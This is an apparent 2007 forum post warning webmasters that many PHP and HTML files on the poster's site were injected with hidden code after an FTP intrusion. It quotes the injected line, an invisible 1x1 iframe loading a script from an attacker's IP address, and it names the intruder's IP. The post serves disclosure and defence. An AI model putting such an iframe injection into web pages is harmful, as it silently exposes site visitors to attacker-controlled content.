Recently we noticed a full screen LG ad on our website. We only run Tribal Fusion and IntelliTxt and neither of those should be displaying a full screen ad.
We looked in to it and this code was added to
MANY of our php and html files:
Code:
<.iframe src='http://81.95.149.77/traff.php' width='1' height='1' style='visibility:hidden'><./iframe>
The IP that illegal accessed our FTP is: 81.95.149.75
That IP comes back registered to Panama. I've already sent the abuse email a letter with proof. It appears we were somehow exploited and a mass script ran adding the code at the bottom of the files affected.
Just FYI for all.
09-25-2007, 05:49 AM
Webmasters Beware!
Hybrid Mode
